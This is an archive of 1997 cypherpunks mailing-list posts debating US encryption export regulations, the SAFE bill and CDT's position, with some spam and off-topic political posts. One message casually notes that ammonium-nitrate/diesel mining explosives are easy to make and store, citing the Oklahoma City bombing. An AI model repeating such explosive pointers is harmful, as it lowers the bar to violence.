Date: Fri, 2 May 1997 06:22:16 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <199705012023.PAA10686@mailhub.amaranth.com>
Message-ID: <Pine.3.89.9705011512.A22651-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain



The crucial part here is "you may not engage in any  activities
prohibited by Sec. 744.6 (a) or (b) of the EAR"

I you read 744.6 EAR you will find the the provisions cited below only
apply to nukes and missiles, not crypto. Why the quote you are citing even
made it into 736 EAR is beyond me. I asked Commerce and they couldn't give
me an answer either. 

I would assume it was either for FUD or perhaps more likely wishful 
thinking leading to a screw up. Regardless, the financing, etc. 
provisions *do not apply to crypto*.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Thu, 1 May 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> In <199705011947.MAA17020@gabber.c2.net>, on 05/01/97 at 01:47 PM,
>    sameer <sameer@c2.net> said:
> 
> 
> >> 
> >> It is my understanding that not only is the above true but the financing of
> >> the development of crypto off-shore is also made illegal by the new
> >> restrictions. So if C2Net were to hire an independent foreign co. to
> >> develop their international version it would be in volation of the current
> >> regs even if no code was exported.
> 
> >	That is an incorrect understanding of the law.
> 
> Below is the paragraph of the EAR that I am refering to:
> 
> PART 736--[AMENDED]
> 
>     19. Section 736.2 is amended by revising paragraph (b)(7) to read  as
> follows:
> 
> 
> Sec. 736.2  General prohibitions and determination of applicability.
> 
> * * * * *
>     (7) General Prohibition Seven--Support of Certain Activities by  U.S.
> persons--(i) Support of Proliferation Activities (U.S. Person 
> Proliferation Activity). If you are a U.S. Person as that term is  defined
> in Sec. 744.6(c) of the EAR, you may not engage in any  activities
> prohibited by Sec. 744.6 (a) or (b) of the EAR which  prohibits the
> performance, without a license from BXA, of certain  financing,
> contracting, service, support, transportation, freight  forwarding, or
> employment that you know will assist in certain  proliferation activities
> described further in part 744 of the EAR.  There are no License Exceptions
> to this General Prohibition Seven in  part 740 of the EAR unless
> specifically authorized in that part.
>     (ii) You may not, without a license from BXA, provide certain 
> technical assistance to foreign persons with respect to encryption  items,
> as described in Sec. 744.9 of the EAR.
> * * * * *
> 
> 
> It clearly states that such activity is Illegal. I would recomend that your
> lawers take a second read of the EAR.
> 
> I personaly don't care if you are in voilation of the EAR or not but you
> should be aware of where you stand inreguards to this regulation so there
> are no "suprises" latter on.
> 
> - -- 
> - -----------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
>                           
> Finger whgiii@amaranth.com for PGP Key and other info
> - -----------------------------------------------------------
>  
> Tag-O-Matic: I went window shopping...and bought OS/2!
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Registered User E-Secure v1.1 ES000000
> 
> iQCVAwUBM2kLNY9Co1n+aLhhAQF+RgQAlQ+hN4fWiFYZLqoay7WA3BD1vP59ksSB
> +adrplsz7ndr7J+Zn/2hzKC+/++3/q857eGSi2eR0wrLmJshrUiHDMdBLWt+5/Rd
> oEvt2q436Mt/c2Cg+IlHpVagxqXS6H7SLj+eeeLMjAHRAYMXU426tLxNYbexpmxj
> rVuR0EVf0gM=
> =91jP
> -----END PGP SIGNATURE-----
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 2 May 1997 05:14:52 +0800
To: cypherpunks@toad.com
Subject: Re: House subcom. passes crypto bill, USDoJ letter to panel
In-Reply-To: <v03007810af8d880025a4@[168.161.105.191]>
Message-ID: <v03020919af8e9ae2d4e2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:21 am -0400 on 5/1/97, Bill Frantz wrote:


> At 4:36 PM -0700 4/30/97, Declan McCullagh quoted:
> >	... threats posed by terrorists, organized
> >	crime, child pornographers, drug cartels,
> >	financial predators,
     ^^^^^^^^^^^^^^^^^^^

> Wow!  The four horsemen are now eight (or more).

Ah. Capitalism is now a crime.

Funny how that's not surprising, coming from a government whose
rose-colored lenin-glasses have redfiltered the American flag out of
existance...

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 2 May 1997 05:08:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Why I delete cc;s to other mailing lists
In-Reply-To: <199705010441.FAA00950@server.test.net>
Message-ID: <v0302091daf8e9c522b54@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:08 am -0400 on 5/1/97, Tim May wrote:


> just as Bob
> Hettinga has the right to run _his_ list (or lists) as he wishes,

Just for the record, here, I should note that e$ is completely unmoderated,
though I've been sorely tempted (he said, dislocating his arm to pat
himself on the back...).

e$pam, on the other hand,  as a filter of other lists (whenever it's
running, that is... :-/), is a non-interactive, one-way channel from me to
the rest of the universe. :-). It don't say e$pam until I say it says
e$pam, in other words.  I'm just providing an opinion; letting people read
over my sholder, and all that.

So, I don't feel like I'm "censoring" anyone, in that regard.

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 04:48:09 +0800
To: sameer <sameer@c2.net>
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <199705011947.MAA17020@gabber.c2.net>
Message-ID: <199705012023.PAA10686@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705011947.MAA17020@gabber.c2.net>, on 05/01/97 at 01:47 PM,
   sameer <sameer@c2.net> said:


>> 
>> It is my understanding that not only is the above true but the financing of
>> the development of crypto off-shore is also made illegal by the new
>> restrictions. So if C2Net were to hire an independent foreign co. to
>> develop their international version it would be in volation of the current
>> regs even if no code was exported.

>	That is an incorrect understanding of the law.

Below is the paragraph of the EAR that I am refering to:

PART 736--[AMENDED]

    19. Section 736.2 is amended by revising paragraph (b)(7) to read  as
follows:


Sec. 736.2  General prohibitions and determination of applicability.

* * * * *
    (7) General Prohibition Seven--Support of Certain Activities by  U.S.
persons--(i) Support of Proliferation Activities (U.S. Person 
Proliferation Activity). If you are a U.S. Person as that term is  defined
in Sec. 744.6(c) of the EAR, you may not engage in any  activities
prohibited by Sec. 744.6 (a) or (b) of the EAR which  prohibits the
performance, without a license from BXA, of certain  financing,
contracting, service, support, transportation, freight  forwarding, or
employment that you know will assist in certain  proliferation activities
described further in part 744 of the EAR.  There are no License Exceptions
to this General Prohibition Seven in  part 740 of the EAR unless
specifically authorized in that part.
    (ii) You may not, without a license from BXA, provide certain 
technical assistance to foreign persons with respect to encryption  items,
as described in Sec. 744.9 of the EAR.
* * * * *


It clearly states that such activity is Illegal. I would recomend that your
lawers take a second read of the EAR.

I personaly don't care if you are in voilation of the EAR or not but you
should be aware of where you stand inreguards to this regulation so there
are no "suprises" latter on.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I went window shopping...and bought OS/2!

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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+adrplsz7ndr7J+Zn/2hzKC+/++3/q857eGSi2eR0wrLmJshrUiHDMdBLWt+5/Rd
oEvt2q436Mt/c2Cg+IlHpVagxqXS6H7SLj+eeeLMjAHRAYMXU426tLxNYbexpmxj
rVuR0EVf0gM=
=91jP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Fri, 2 May 1997 04:09:55 +0800
To: declan@well.com
Subject: Re: Bombs Away, from The Netly News Network
In-Reply-To: <v03007804af8e6d02687c@[168.161.105.191]>
Message-ID: <199705011950.PAA24272@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh writes:
>                                                   "A
> member of the DoJ committee accessed a single web site
> on the World Wide Web and obtained the titles of 110
> different bomb-making texts."

I wonder if this was a bookstore.  I did a search for "explosives"
on amazon.com and came up with at least that many titles.  Only a
handful were of the Anarchist's Cookbook ilk.  Most were academic or
industrial studies; a few were from US Govt or Govt-affiliated
organizations.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 2 May 1997 04:40:13 +0800
To: cypherpunks@toad.com
Subject: ECR_ypt
Message-ID: <1.5.4.32.19970501200616.00922948@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Two news reports on Big Bro e-cards:

1.  E-Pass -- a UK product that is both smart card and PC,
will have one or more screens, and hopes to dominate 
the global government and business market for 
all-CU-data-in-one-easily-tracked-device.

2. Proton -- Belgium's cartel card, the mostly widely
used device to en-SAFE Belgians, and a candidate
to be recruited by Visa or MasterCard or Mondex or 
Halliburton or Armadillo US/UK/AUS.

And a report on a speed demon crypto card from Eracom
in AU, which claims to be "the world's first PC-based 
PCI bus cryptographic processor which can punch through
cryptographic traffic at up to 30 times the speed of ISA bus
products."

-----

ECR_ypt

or

http://jya.com/ecrypt.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Fri, 2 May 1997 07:22:38 +0800
To: cypherpunks@cyberpass.net
Subject: Crypto hooks and EAR (Re: SAFE Bill is a Disaster--"Use a cipher, go to prison")
In-Reply-To: <v03007800af8e9b2e837c@[207.167.93.63]>
Message-ID: <9705011609.ZM14377@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


On May 1, 11:40am, Tim May wrote:
>
> I'm no expert in these areas, but doesn't this consitute "providing hooks"
> for strong crypto? The EARs say that a "hook" for inserting crypto modules
> once a product is exported are essentially as bad as providing the crypto
> before the product is exported.

	If the EAR says that, I would like to have a reference to
the section, please, so I can look it up at jya.com. I am not
saying it is not there, just that I haven't seen it, and I would
like to see what the exact language is.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Fri, 2 May 1997 07:53:34 +0800
To: cypherpunks@algebra.com
Subject: Re: Layoffs at PGP
Message-ID: <9705012341.AA10244@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Well, PGP spokesman Mike Nelson wins the award for the Freudian slip of
the day:

    "Internet Fast-Forward is not as closely related to the tools we
    develop for individuals for privacy," he said. And the fact that
    Fast-Forward filters ads which are an "inimical part of some of the
                                           ^^^^^^^^
    emerging Web commerce models ... we don't want to hinder this
    development."

The http://c.gp.cs.cmu.edu:5103/prog/webster server says:

    Inimical \In*im"i*cal\ (?; 277), a. [L. inimicalis, fr. inimicus
    unfriendly, hostile; pref. in- not + amicus friendly. See Amity.]

    1. Having the disposition or temper of an enemy; unfriendly;
    unfavorable; -- chiefly applied to private, as hostile is to public,
    enmity.

    2. Opposed in tendency, influence, or effects; antagonistic;
    inconsistent; incompatible; adverse; repugnant.

    We are at war with a system, which, by its essence, is inimical to
    all other governments. --Burke.

Perhaps he meant "intrinsic", or "integral" -- although I rather like
the version with the typo myself...  :-)

MJ





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 07:07:22 +0800
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: Bombs Away, from The Netly News Network
In-Reply-To: <199705011950.PAA24272@jafar.issl.atl.hp.com>
Message-ID: <199705012158.QAA12008@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705011950.PAA24272@jafar.issl.atl.hp.com>, on 05/01/97 at 01:50 PM,
   Jeff Barber <jeffb@issl.atl.hp.com> said:


>Declan McCullagh writes:
>>                                                   "A
>> member of the DoJ committee accessed a single web site
>> on the World Wide Web and obtained the titles of 110
>> different bomb-making texts."

>I wonder if this was a bookstore.  I did a search for "explosives" on
>amazon.com and came up with at least that many titles.  Only a handful
>were of the Anarchist's Cookbook ilk.  Most were academic or industrial
>studies; a few were from US Govt or Govt-affiliated organizations.

Well the whole thing is just more smoke and mirrors.

The bomb used in Oklahoma required the knowledge of CHEM 101. I have
several Eng. Books that go into great detail on making Nitrogen/Deasel
bombs as they are routinely used in Mining operations. They are safe to
store as a convenient binary explosive, easy to store, and easy to prepare
as needed "on site" not to mention they are relativly cheap to use. :)

I would imagine that you will have to pass a FBI/CIA/NSA security clearance
before you can enroll in collage in the near future. :(

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2, Windows/0

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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iBCxGLEpxOBv/TKClCc0xVy37k0VUTjyTzU4Ep8yOSBqmjbW0YMLRzCwn125G3Qe
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USNDq64ubXY=
=TzR2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 2 May 1997 06:18:27 +0800
To: kent@songbird.com (Kent Crispin)
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <19970429183938.08726@bywater.songbird.com>
Message-ID: <199705012209.RAA01168@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> On Tue, Apr 29, 1997 at 06:03:43PM -0400, Declan McCullagh wrote:
> > Think of it this way: there are tactical and strategic decisions.
> > Strategically, I would like the Federal government to evolve into a form
> > that's consistent with the principles of individual freedom, peace, and
> > limited government enshrined in the U.S. Constitution.

	>><SNIP><<

> To put a finer point on it, what flaw existed (exists) in the founding

	People. They are the flaw. The Constitution relies on the voters 
being rational, or at least putting the country before themselves. 

	Stupid assumption.

> fathers dream and actualization that prevented it from being a stable
> condition?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gordon <lrdon@cyberstation.net>
Date: Fri, 2 May 1997 06:38:12 +0800
To: coderpunks@toad.com
Subject: New Israel
Message-ID: <Pine.BSI.3.95.970501171026.6591B-100000@citrine.cyberstation.net>
MIME-Version: 1.0
Content-Type: text/plain


Oh geez...

Have you heard about NEW ISRAEL yet? It is a 510 page book
that addresses one of the primordial obstacles to human life
and happiness on our planet Earth, the accursed Middle
Eastern conundrum between the Jews and the Palestinians-
Arabs-Islamics.  The predicate of NEW  ISRAEL calls for the
creation of a coexistent, with Israel, New Israel in the
southern two thirds of the Baja Peninsula, south of
California, in North America, with immense benefits
for all of those effected. Faced with an impossible dilemma,
another choice must be made available. The book explains that
new option and all the history, difficulties, and
transgressions, that makes the creation of New Israel
absolutely necessary.  For more information, including an
18 page detailed outline of NEW ISRAEL, and the full 41 page
Preface to NEW ISRAEL - which provides rich details about the
reasoning and rationale foundation of NEW ISRAEL, visit the
NEW ISRAEL website at :

               http://www.seymourtex.com/newisrael/ni.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 2 May 1997 06:05:39 +0800
To: cypherpunks@cyberpass.net
Subject: recypherdomicilization?
In-Reply-To: <v03007800af8e9b2e837c@[207.167.93.63]>
Message-ID: <v0302093aaf8eb757846c@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:27 pm -0400 on 5/1/97, sameer wrote:
> As far as operating from Anguilla -- it would require
> renouncing my US citizenship, yes.

Hoo, boy...

Make sure you get (buy?) citizenship somewhere else first, okay, Sameer? :-).

Seriously, it would be indeed a drag to have a whole bunch of
cypherpunks-without-a-country out there, no matter what we all say about
the evils of nation-states...

Anyone out there have suggestions about a domicile of choice? Vince's old
"perputual tourist" thing comes to mind, but I'm not conviced that's really
practical.

I heard someone talking about Belize at FC97. The Seychelles have come up
around here, more than once, for those with $10million to throw around...

However, I tend to agree with Tim about this whole regulatory arbitrage
stuff. Nothing keeps the law honest like good software. :-).

Cheers,

Bob Hettinga





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 2 May 1997 08:56:08 +0800
To: cypherpunks@cyberpass.net
Subject: counterTCM post
Message-ID: <199705020037.RAA24475@netcom5.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



in the continuing series of counterTCMeme posts, I would like to
address a recent TCMeme on the subject of government.

TCM asserts that the president and congress have absolutely nothing
to offer american citizens, that any attempt to deal with them
is a total waste of time.

I generally agree that our democratic system has degenerated over
the decades, to the point of being scary and dangerous in places.

however, we can ask, why did it get to that point? I believe it is
not because of an inherent impracticality of the government or 
congress. rather, it is a failure of the citizens to maintain the
authority over their congressmen and president.

once upon a time, citizens saw congress and the president as their
servants. it led to a particular kind of ideology reflected in the
policies of the country.

over time, people gradually gave away this authority. they saw the
president and congress as having authority over citizens, instead of
vice versa.

TCM's idea of telling congress and the president to f*** off is actually,
in my opinion, an extreme case of people giving away their authority.
it is more of the same problem, not the solution. it is failing to 
address the root of the problem-- that the president and congress
must be put in a subservient relationship to the desires of the citizens.

citizens are failing to exercise their ability to remove and replace
those in power.

TCM quotes De ToqueVille, "the american experiment in democracy will
last until people begin to realize they can pick each other's pockets
at the voting booth". there is a fallacy and a truth in this at the
same time. the truth is that the citizenry is beginning to discover
that the government is the greatest pickpocket of all. if it 
redistributed its wealth, our economy would be better off. 

but instead the government
ties up vast amounts of wealth into (1) social programs that
redistribute only a fraction of the wealth they take in, the rest
caught up in bureacracy (2) weaponry that sits idle, and is so horrific
that it should never be used, and (3) a national debt of borrowed money.

so people are no longer trying to pick each other's pockets at the
voting booth, in my opinion, but realizing that the government itself is
picking everyone's pockets at tax time. 

everyone who pays money via taxes to the government is the employer
of those in government. when was the last time you exercised some
control over this money? or do you just sign it off? there are many
ways that individual citizens can create leverage over their government,
and increase their power over it. it is the opposite of the process
by which they have given their power away. it is reversable. 

but to unplug oneself from the monster one has created is not possible
as TCM is always campaigning. the monster will run around some more.
one must uncreate the monster in the same ways it was created.

I commend CDT and all other online groups for their organizational
motives and drive, and condemn TCM for his pissing on them. what is he doing?
he is just unplugging himself and asserting that the monster will no
longer exist if he refuses to believe in it.

the road to greater power is greater organization and unity while
preserving individuality. the individualism that TCM promotes is
actually ultimately disempowering and dangerous. the individual
has no power. the solution to an oppressive society is to fix the
society, not to try to find increasingly ingenious ways of hiding
from it. the society will always has means of becoming more
orwellian and surmounting whatever obstacles individuals place 
in it.

if something is broken, do you fix it, or abandon it? or shoot it? TCM is
always advocating the latter two. it's not a solution, and he knows it,
and everyone else here knows it too.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Staff <212@212.net>
Date: Fri, 2 May 1997 07:30:41 +0800
To: cypherpunks@toad.com
Subject: coolness
Message-ID: <970501173738.2F87BD6@212.net>>
MIME-Version: 1.0
Content-Type: text/plain


nice site.
why not add your url to ours?!
visit http://212.net

thanks.

staff at http://212.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 2 May 1997 08:57:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: New Israel
In-Reply-To: <199705012318.SAA12960@mailhub.amaranth.com>
Message-ID: <199705020044.RAA20453@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Gordon <lrdon@cyberstation.net> said:

: The predicate of NEW ISRAEL calls for the creation of a coexistent, with
: Israel, New Israel in the southern two thirds of the Baja Peninsula, south
: of California, in North America. 

Actually, I think a better plan would be to relocate Israel to New Jersey
and give the current Middle Eastern version back to the Arabs. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 07:27:41 +0800
To: Jonah Seiger <jseiger@cdt.org>
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03020900af8e49aa795c@[207.226.3.4]>
Message-ID: <199705012303.SAA12776@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03020900af8e49aa795c@[207.226.3.4]>, on 05/01/97 at 08:09 AM,
   Jonah Seiger <jseiger@cdt.org> said:


>Tim -

>It's too bad we may not see eye-to-eye on this one.

>For what it's worth, CDT shares your concerns about the criminal provision
>in the SAFE bill.  We believe that as currently written, the provision is
>overly broad and could create a chilling effect on the everyday use of
>encryption, and  unnecessary because it duplicates existing obstruction of
>justice law.

>We have expressed these concerns both publicly (in a letter to the
>committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other
>organizations - see  http://www.privacy.org/ipc/safe_letter.html) and
>privately in conversations with the committee staff.  We hope to work with
>the authors of SAFE to address these concerns, but, as you know, we are
>not running this show and have to work with what the Congress gives us.

>However, despite our concerns about the criminal provisions, we believe
>strongly that the SAFE bill, and the bills in the Senate sponsored by
>Burns and Leahy, are vitally important and should be passed.

>As you know, the debate over encryption policy reform has been going on
>for more than 4 years.  Despite all of our efforts to promote the use of
>encryption, crypto is still not widely used by the public.

>The Clinton administration has not backed off from their commitment to a
>global key-escrow/key-recovery system with guaranteed law enforcement
>access to private keys. And despite the brilliant work of EFF on the
>various legal challenges to the export restrictions, we feel this issue
>will only be fully resolved through legislation.

>The status quo, in our view, is not good enough.  Because of the export
>controls and the lack of a coherent US encryption policy, Internet users
>do not have access to the privacy protecting encryption products they
>need.

>Congress needs to stand up to the Administration and say, with a strong
>voice, "your policy is a failure - we need a different solution".  That's
>what SAFE, Pro-CODE, and ECPA II do.

No that is not what they do. :(

In addition to *RESTRICTING* the use of *DOMESTIC* crypto it provides a
rather scary president:

An Admendment to the Constitution of the United States is only valid if
Congress says it is and only if the Rights provided by those Admendments
are exercised by The People in a manner that meets Congress's approval.

If Congress really want's to do somthing then let them pass a resolution
that the export restrictions of crypto in the EAR is unconstitional and
therfore null & void. Anything less or more is unneeded, unwanted, and
unconstitional.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I went window shopping...and bought OS/2!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Davidson <abd@cdt.org>
Date: Fri, 2 May 1997 08:07:05 +0800
To: cypherpunks@cyberpass.net
Subject: SAFE Bill is a Good Thing--"Crypto For The Masses"
Message-ID: <v03020900af8e47bb1440@[207.226.3.11]>
MIME-Version: 1.0
Content-Type: text/plain



The SAFE encryption bill would put more non-escrow, strong encryption in
the hands of many more people -- and mark the death knell for government
regulation of encryption. That's why CDT supports it. That's why we hope
that people who care about privacy and security online will support it too.


1. The SAFE Bill Will Bring More Strong Crypto To More People

There is a right we don't have now: The right to export strong
cryptography. The result is that strong, easy-to-use encryption is not
seamlessly integrated into most popular products, and is not accessible to
most people (who are not as technically sophisticated as the members of
this list.)

SAFE would legalize the export (to all but a few countries such as Iran, N.
Korea, and Cuba) of non-escrow encryption *of unlimited strength* that is
designed for the mass market or is in the public domain, i.e.:

		   "(i) that is generally available, as is, and is
                    designed for installation by the purchaser; or

                    "(ii) that is in the public domain for which
                    copyright or other protection is not available
                    under title 17, United States Code, or that is
                    available to the public because it is generally
                    accessible to the interested public in any form;"
		    (See also Footnote below)

Translation:

	If it's sold in Egghead Software, it's exportable.
	If it's available on the Web: exportable.
	PGP: exportable.
	3DES, IDEA, or Blowfish in mass-market products or
		public domain toolkits: Exportable. Exportable. Exportable.

So the export control provisions in SAFE would put a lot more strong crypto
-- and the freedom to use it -- in the hands of a lot more people.

SAFE's export control relief is not unlimited. The bill does not allow
export to Iran, Iraq,  Cuba, or N. Korea (that's what the "Trading With The
Enemy" provision is about); Congress is not likely to pass a law saying you
can export strong crypto to Saddam Hussein.  Relief is also limited for
non-mass-market hardware and software (e.g., custom systems not available
to the public).  Non-mass-market  hardware is exportable if "commercially
available" in the destination country; such software is exportable
according to a hard-to-parse "financial institutions" standard that roughly
translates into DES.  Less than ideal -- but these provisions do not apply
to most of the hardware and software that most people use.

What SAFE does legalize is strong, non-escrow encryption in the products
that are most widely used, in almost all countries worldwide.  Once
*ordinary people* have strong crypto built in to the products they use
every day, it will be much harder for governments to take it away or
restrict it.

SAFE is "strong crypto for the masses." SAFE is a huge step forward.


2. CDT Does Not Support The Criminal Provision in SAFE

CDT is actively working to get the criminal provision taken out of the SAFE
bill. We are not alone: CDT signed a letter with other groups including
EPIC, EFF, ACLU, VTW, PGP, IEEE, and ACM, urging Congress to remove the
provisions -- "while expressing our support for the measure."

Contrary to reports, the SAFE bill does not say: "Use a cipher, go to
prison."  It does say: "Use cryptography TO COMMIT A CRIME, go to prison":

   2805. Unlawful use of encryption in furtherance of a criminal act

   	"Any person who willfully uses encryption in furtherance
	of the commission of a criminal offense for which the
	person may be prosecuted in a court of competent jurisdiction...
	[may be imprisoned or fined]"

The Leahy bill version is narrower. It says: "Use cryptography to willfully
obstruct justice in furtherance of a felony, go to prison."

       "Whoever willfully endeavors by means of encryption to
	obstruct, impede, or prevent the communication to an
	investigative or law enforcement officer of information
	in furtherance of a felony that may be prosecuted in
	a court of the United States shall...[may be imprisoned or fined]"

CDT opposes both these provisions because they are unnecessary and could
chill the use of encryption (especially by self-confessed felons like Tim
May!).  But they are not as sweeping as some on this list have said.

On balance, CDT believes that SAFE's giant step forward of export relief
and prohibitions on Executive Branch key escrow controls outweigh the
problems created by these criminal provision. That is why we will fight to
get criminal provisions removed, while we still support the bill.


Passage of the SAFE Bill would put strong security tools in the hands of
many more people.  That's why CDT supports SAFE, and why we think people
who care about privacy and security online should support it too.


	-- Alan Davidson, CDT



FOOTNOTE: The Export Provisions in SAFE

The export control provisions in SAFE differentiate between so-called
mass-market and non-mass-market hardware and software.

Mass-market software and hardware with non-escrow encryption of *unlimited
strength* may be exported under the Act to all but a few countries (such as
Iran, N. Korea, and Cuba):

	(2) ITEMS NOT REQUIRING LICENSES. -- No validated license
	 may be required, except pursuant to the Trading With the
	 Enemy Act or the International Emergency Economic Powers
	 Act (but only to the extent that the authority of such Act
	 is not exercised to extend controls imposed under this
	 Act), for the export or reexport of--

              "(A) any software, including software with encryption
              capabilities --

                    "(i) that is generally available, as is, and is
                    designed for installation by the purchaser; or

                    "(ii) that is in the public domain for which
                    copyright or other protection is not available
                    under title 17, United States Code, or that is
                    available to the public because it is generally
                    accessible to the interested public in any form;
                    or

		"(B) any computing device solely because it incorporates or
              employs in any form software (including software with
              encryption capabilities) exempted from any - requirement for a
              validated license under subparagraph (A).

[See http://www.cdt.org/crypto/legis_105/SAFE/hr695_text.html for the
Bill's definitions of "generally available," "as is", etc.]

Non-mass-market hardware and software -- suach as code not generally
available to the public via the Internet, or custom implementations not
generally available or sold "as is" -- receive less favorable treatment:

       "(3) SOFTWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary
       shall authorize the export or reexport of software with encryption
	capabilities for nonmilitary end-uses in any country to which
	 exports of software of similar capability are permitted for
	 use by financial institutions not controlled in fact by
	 United States persons, unless there is substantial evidence
	 that such software will be --

              "(A) diverted to a military end-use or an end-use supporting
              international terrorism;
              "(B) modified for military or terrorist end-use; or
              "(C) reexported without any authorization by the United States
              that may be required under this Act.

This "financial institutions" standard is supposed to roughly translate
into DES.

       "(4) HARDWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary
       shall authorize the export or reexport of computer hardware
	with encryption capabilities if the Secretary determines
	that a product offering comparable security is commercially
	 available outside the United States from a foreign supplier,
	without effective restrictions.

So non-mass-market hardware can be exported *with any encryption algorithm*
if a "comparable" product is available outside the U.S. from a foreign
supplier without restriction.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 08:10:31 +0800
To: Gordon <lrdon@cyberstation.net>
Subject: Re: New Israel
